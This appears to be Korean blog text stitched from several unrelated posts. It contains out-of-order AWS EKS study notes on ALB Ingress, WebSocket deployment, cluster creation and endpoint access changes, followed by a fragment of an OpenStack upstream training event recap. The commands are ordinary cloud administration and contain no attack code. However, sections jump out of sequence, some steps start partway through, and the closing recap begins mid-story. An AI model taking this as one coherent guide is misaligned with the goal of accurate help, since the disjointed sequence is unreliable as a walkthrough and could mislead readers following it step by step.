kubectl describe deploy -n kube-system aws-load-balancer-controller | grep 'Service Account'
Service Account: aws-load-balancer-controller
# 클러스터롤, 롤 확인
kubectl describe clusterrolebindings.rbac.authorization.k8s.io aws-load-balancer-controller-rolebinding
kubectl describe clusterroles.rbac.authorization.k8s.io aws-load-balancer-controller-role
이 부분이 진행되어야 7번 Ingress 실습이 가능해진다.
7.Ingress
인그레스는 클러스터 내부의 서비스 (ClusterIP, NodePort, Loadbalancer)를 외부로 노출(HTTP/HTTPS)할 수 있도록 돕는 역할을 하며, 일종의 웹 프록시 역할을 수행한다. AWS Load Balancer Controller + Ingress (ALB) IP 모드 동작을 AWS VPC CNI에서 확인해보자.
# 게임 파드와 Service, Ingress 배포
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ingress1.yaml
cat ingress1.yaml | yh
kubectl apply -f ingress1.yaml
# 모니터링
watch -d kubectl get pod,ingress,svc,ep -n game-2048
# 생성 확인
kubectl get-all -n game-2048
kubectl get ingress,svc,ep,pod -n game-2048
kubectl get targetgroupbindings -n game-2048
NAME SERVICE-NAME SERVICE-PORT TARGET-TYPE AGE
k8s-game2048-service2-e48050abac service-2048 80 ip 87s
# ALB 생성 확인
aws elbv2 describe-load-balancers --query 'LoadBalancers[?contains(LoadBalancerName, `k8s-game2048`) == `true`]' | jq
ALB_ARN=$(aws elbv2 describe-load-balancers --query 'LoadBalancers[?contains(LoadBalancerName, `k8s-game2048`) == `true`].LoadBalancerArn' | jq -r '.[0]')
aws elbv2 describe-target-groups --load-balancer-arn $ALB_ARN
TARGET_GROUP_ARN=$(aws elbv2 describe-target-groups --load-balancer-arn $ALB_ARN | jq -r '.TargetGroups[0].TargetGroupArn')
aws elbv2 describe-target-health --target-group-arn $TARGET_GROUP_ARN | jq
# Ingress 확인
kubectl describe ingress -n game-2048 ingress-2048
kubectl get ingress -n game-2048 ingress-2048 -o jsonpath="{.status.loadBalancer.ingress[*].hostname}{'\n'}"
# 게임 접속 : ALB 주소로 웹 접속
kubectl get ingress -n game-2048 ingress-2048 -o jsonpath={.status.loadBalancer.ingress[0].hostname} | awk '{ print "Game URL = http://"$1 }'
# 파드 IP 확인
kubectl get pod -n game-2048 -owide
8. 추가 과제: Optimize webSocket applications scaling with API Gateway on Amazon EKS
3. 해당 ECR 레지스트리에서 push command 설명을 참고하여 클론한 폴더 내 존재하는 Dockerfile로 컨테이너화한 후 업로드를 시킨다. 이후 레지스트리 URL을 반영하여 서비스를 배포한 후 결과를 확인한다.
Replace <ecr image> with the location of your image in deployment-Service.yml
kubectl apply -f deployment-Service.yml
Run the following command to confirm the deployment was created successfully
kubectl get deployment websocket-microservice
4. Nodeport를 생성한다.
kubectl apply -f nodePort-Service.yml
Run the following command to confirm the service was created successfully
kubectl get service websocket-restapp-nodeport-service
5. ALB 인그레스를 생성한다.
kubectl apply -f albIngress.yml
Run the following command to get the address for the ALB
kubectl get ingress ingress-websocket-restapp-service
6. 위 5번에서 반환된 URL을 사용하여 Cloudformation으로 웹 소켓을 생성한다.
본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.
1. Amazon EKS 소개
Amazon EKS 사용자 가이드 공식 문서 (링크)에 따르면, Amazon Web Services (AWS)에서 제공하는 관리형 서비스로, Kubernetes (쿠버네티스) 컨트롤 플레인을 설치, 운영 및 유지 관리할 필요가 없는 "관리형 서비스"라고 설명되어 있다. 쿠버네티스 클러스터 아키텍처가 설명된 오픈 소스 쿠버네티스 문서 (링크)에 컨트롤 플레인에 대한 그림이 있다.
위 이미지에서 나온 컨트롤 플레인에 보면 cloud-controller-manager, etcd, kube-api-server, scheduler, Controller Manager 이렇게 5개 요소가 있는데, 해당 요소를 직접 설치하여 관리하는 대신 Amazon EKS라는 관리형 서비스를 생성하여 쿠버네티스 노드들을 활용하게 된다. 자세한 내용은 EKS 워크샵 설명(링크)에도 있으니 이를 참고하자.
본 스터디에서는 EKS 워크샵에 있는 "AWS 계정으로 시작"에 따라 스터디 시작 전 미리 AWS 계정을 준비하였으며, 실습 환경 구축에 보면 AWS Cloud9부터 kubectl 설치, eksctl 설치 등이 있는데 스터디장이신 가시다님께서 준비해 주신 AWS CloudFormation을 사용하여 편하게 스터디 참여를 할 수가 있었다. EKS 버전은 스터디를 진행하고 있는 2024년 3월을 기준으로 EKS 지원 add-on 및 K8s 생태계와 가장 잘 호환되고 검증된 애플리케이션이 많은 버전인 v1.28을 선택하여 진행하였다. 스터디 진행하는 AWS 환경을 이해해볼 겸 AWS 아키텍처 아이콘을 참고하여 아래와 같이 도식화해보았다.
아래와 같이CloudFormation 템플릿을 다운로드 받은 다음에 AWS CLI (링크)를 사용해 실행해 보았다.
$ curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/myeks-1week.yaml
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10373 100 10373 0 0 180k 0 --:--:-- --:--:-- --:--:-- 180k
$ aws cloudformation deploy --template-file myeks-1week.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32 --region ap-northeast-2
Waiting for changeset to be created..
Waiting for stack create/update to complete
Successfully created/updated stack - myeks
이후 다음 명령어를 실행하면 IP 주소를 알 수 있으며, 이 IP 주소로 SSH를 실행하여 Shell 로 접속하여 이후 작업을 진행한다. 접속할 SSH ID 및 Password는 위 CloudFormation 템플릿 파일에 있으니 참고하자.
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[*].OutputValue' --output text
작업용 EC2에 접속하였다면 IAM 사용자 자격 구성이 필요하다. 실습 편의를 위해 administrator 권한을 가진 IAM User의 자격 증명을 입력한다.
[root@myeks-host ~]# aws ec2 describe-instances
Unable to locate credentials. You can configure credentials by running "aws configure".
[root@myeks-host ~]# aws configure
AWS Access Key ID [None]: AKI..........
AWS Secret Access Key [None]: FQ.......................
Default region name [None]: ap-northeast-2
Default output format [None]: json
[root@myeks-host ~]# aws ec2 describe-instances
{
"Reservations": [
{
"Groups": [],
"Instances": [
{
"AmiLaunchIndex": 0,
"ImageId": "ami-025cebb6913219d99",...........
3. eksctl로 클러스터 생성하기
EKS 워크샵 내용 (링크)에서는 yaml 파일을 작성하여 eksctl 명령어로 클러스터를 생성하는데, 기본적인 옵션을 직접 eksctl 명령어에 적절한 파라미터 형태로 전달하는 방식 또한 가능하여 스터디에서는 이 방법을 사용해 보았다. 필요한 옵션 값을 환경 변수로 저장하여 활용하였다.
3.1. 필요한 환경 변수 준비하기
$AWS_DEFAULT_REGION 및 $CLUSTER_NAME은 작업용 EC2에서 이미 준비가 되어 있다. 이를 확인해보고 나머지 환경 변수에 대해 설정해보았다.
총 15-20분 정도 소요되니 잠시 기다려보자. 기다리는 동안에 다른 터미널을 1개 더 열어 아래 명령어를 실행하면 클러스터가 생성되었는지 여부를 확인하는 데 도움이 된다.
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------" ; sleep 1; done
클러스터 생성이 완료되면 터미널 상태는 다음과 같이 변경되고
AWS 콘솔에서도 EKS가 배포된 내용을 확인할 수 있다 (혹 콘솔에서 갱신이 안되었다면 새로고침 버튼을 클릭해보자).
EKS 클러스터 생성이 완료가 된 이후부터는 kubectl 명령어를 통해 EKS 클러스터에 여러 명령을 실행할 수 있게 된다. 스터디 중 여러 가지를 실행해보면서 많은 것들을 확인을 하였는데, 그 중 한 가지만 블로그에 정리해 보고자 한다.
4. 생성된 EKS 클러스터 확인 - 엔드포인트 액세스 변경 (Public -> Public and private)
EKS 클러스터 정보를 확인하기 위해서는 "kubectl cluster-info" 라는 명령어를 사용하면 된다.
(awesian@myeks:N/A) [root@myeks-host ~]# eksctl get nodegroup --cluster $CLUSTER_NAME --name $CLUSTER_NAME-nodegroup
CLUSTER NODEGROUP STATUS CREATED MIN SIZE MAX SIZE DESIRED CAPACITY INSTANCE TYPE IMAGE ID ASG NAME TYPE
myeks myeks-nodegroup ACTIVE 2024-03-09T18:02:34Z 2 2 2 t3.medium AL2_x86_64 eks-myeks-nodegroup-eac71230-bb27-1b00-6c14-e2c96dfc5646 managed
(awesian@myeks:N/A) [root@myeks-host ~]# kubectl cluster-info
Kubernetes control plane is running at https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com
CoreDNS is running at https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
뿐만 아니라 "eksctl get cluster" 명령어로도 확인이 가능하다. 한 가지 특이했던 점은 생성된 엔드포인트가 public이라는 것이다. Public이라는 의미는 해당 endpoint에 대한 네트워크 연결이 가능하다는 것을 의미하며, 해당 엔드포인트를 통해 Pod 생성 등을 진행하려면 추가 인증이 필요하나 간단한 version 확인은 public일 경우 별도의 인증을 거치지 않아도 위와 같이 생성한 EKS 클러스터에는 접근이 가능하였다.
콘솔에서 확인해 보더라도 API 서버 엔드포인트 액세스가 "Public"으로 나와있는 상황이다.
이를 "퍼블릭 및 프라이빗"으로 변경해보자. 변화 감지를 위해 총 3개의 터미널을 사용해보자. 2개 터미널은 모니터링 목적으로 사용한다.
# 터미널 A - 모니터링용 1
APIDNS=$(aws eks describe-cluster --name $CLUSTER_NAME | jq -r .cluster.endpoint | cut -d '/' -f 3)
dig +short $APIDNS
while true; do dig +short $APIDNS ; echo "------------------------------" ; date; sleep 1; done
# 터미널 B - 모니터링용 2
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
while true; do ssh ec2-user@$N1 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo ; ssh ec2-user@$N2 sudo ss -tnp | egrep 'kubelet|kube-proxy' ; echo "------------------------------" ; date; sleep 1; done
# 터미널 C - Public(본인 접속 IP만 제한)+Private 로 변경. 설정 후 약 8-10분 정도 이후 다른 터미널에 변화 감지 가능
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME --resources-vpc-config endpointPublicAccess=true,publicAccessCidrs="$(curl -s ipinfo.io/ip)/32",endpointPrivateAccess=true
기다려보면 터미널 A에서 2개의 public IP 로 보이던 부분이 갑자기 내부 네트워크 서브넷으로 변경된 부분을 확인할 수 있었다.
그런데 오른쪽은 변화가 없었는데, 이는 Public 및 Private 모두 활성화되다보니 기존 kube-proxy 및 kubelet이 이미 연결을 맺고 있는 네트워크 연결을 굳이 종료할 필요가 없어서가 아닌가 생각된다.
이후 "kubectl" 명령어를 실행하면 동작하지 않는다. 다음과 같이 실행해보면 오류 메시지와 함께 보이는 IP 주소가 Public IP가 아니라는 것을 확인할 수 있다. 즉, 클러스터 설정이 변경되면서 이제는 Private IP로 Endpoint를 반환하는 것이다.
(awesian@myeks:N/A) [root@myeks-host ~]# kubectl get node -v=6
I0310 03:44:52.743735 18383 loader.go:395] Config loaded from file: /root/.kube/config
I0310 03:45:23.611890 18383 round_trippers.go:553] GET https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com/api/v1/nodes?limit=500 in 30861 milliseconds
I0310 03:45:23.612005 18383 helpers.go:264] Connection error: Get https://088CD22A78682CF5F017CFEE329E3C1A.gr7.ap-northeast-2.eks.amazonaws.com/api/v1/nodes?limit=500: dial tcp 192.168.1.51:443: i/o timeout
Unable to connect to the server: dial tcp 192.168.1.51:443: i/o timeout
(awesian@myeks:N/A) [root@myeks-host ~]# kubectl cluster-info
To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
Unable to connect to the server: dial tcp 192.168.2.122:443: i/o timeout
접속이 안된다는 것은 EKS Control plane 보안 그룹에서 서브넷에 접속 가능하도록 추가 설정을 해주어야 함을 의미한다. 다음 명령어를 통해 노드 보안 그룹에 myeks-host에서 노드(파드)에 접속 가능하도록 룰을 추가 설정하였다.
# EKS ControlPlane 보안그룹 ID 확인
aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query "SecurityGroups[*].[GroupId]" --output text
CPSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ControlPlaneSecurityGroup* --query "SecurityGroups[*].[GroupId]" --output text)
echo $CPSGID
# 노드 보안그룹에 myeks-host 에서 노드(파드)에 접속 가능하게 룰(Rule) 추가 설정
aws ec2 authorize-security-group-ingress --group-id $CPSGID --protocol '-1' --cidr 192.168.1.100/32
또한 kubelet과 kube-proxy도 private IP 주소로 접속하도록 설정을 변경해보자. 다음 명령어를 실행한다.
# kube-proxy rollout
kubectl rollout restart ds/kube-proxy -n kube-system
# kubelet 은 개별 노드에서 systemctl restart kubelet을 실행하는 형태로 적용. $N1과 $N2 환경 변수가 설정되어 있어야 함.
for i in $N1 $N2; do echo ">> node $i <<"; ssh ec2-user@$i sudo systemctl restart kubelet; echo; done
위 첫 번째 명령어를 실행한 다음에는 kube-proxy에 대한 연결이 private IP로 이루어지는 것을 볼 수 있으며,
두 번째 명령어가 잘 실행되면 kubelet 또한 연결이 private IP로 이루어지는 것을 볼 수 있다.
2015년 초, 인공지능 스터디를 참여하였던 적이 있는데 그 때 현재 모두의연구소 소장님이신 김승일 님을 알게 되었다. 연구소 취지가 좋다고 생각하여, 시간이 허락될 때 스터디 하나를 직접 참가하고 싶은 마음이 크지만, 현실적으로 오픈스택을 보면서 모두의 연구소에서 하는 부분까지 살펴보는 건 참으로 쉽지 않은 것 같다. 소장님께서도 외부 교육 등을 많이 진행하시기에 물어보았으며, 금요일 오전에 연락되어 소장님께선 연구소에 안 계시지만 다른 분의 도움을 받아 힘들게 멀티탭 6구를 여러 개 대여할 수 있었다.
이러한 준비 + 많은 분들의 도움 덕택에 이번 2회 업스트림 트레이닝은 지난 번 1회때보다 구체적인 목표를 갖고
여러 질문 & 답변과 함께 재미있는 시간을 보낼 수 있었다고 생각한다.
- 제2회 업스트림 트레이닝 행사 끝나고 단체 사진 -
- 실습 중 -
- Etherpad를 사용한 설명 중 -
- 쉬는 시간이지만 토의중 -
- 즐거운 토론 중 -
다음 업스트림 트레이닝 행사도 잘 진행되면 좋을 것 같은데.. D2의 도움도 계속 필요할 것 같고
무엇보다 여러 멘토 분들과 함께하였지만 사실 혼자 Full로 진행하기에는 다소 지치는 측면도 있어..
보다 많은 한국 분들께서 오픈스택 업스트림에 기여하시고, 그 경험을 바탕으로 같이 즐겁게 차후 행사를 할 수 있으면 정말 좋을 것 같다는 생각을 해본다.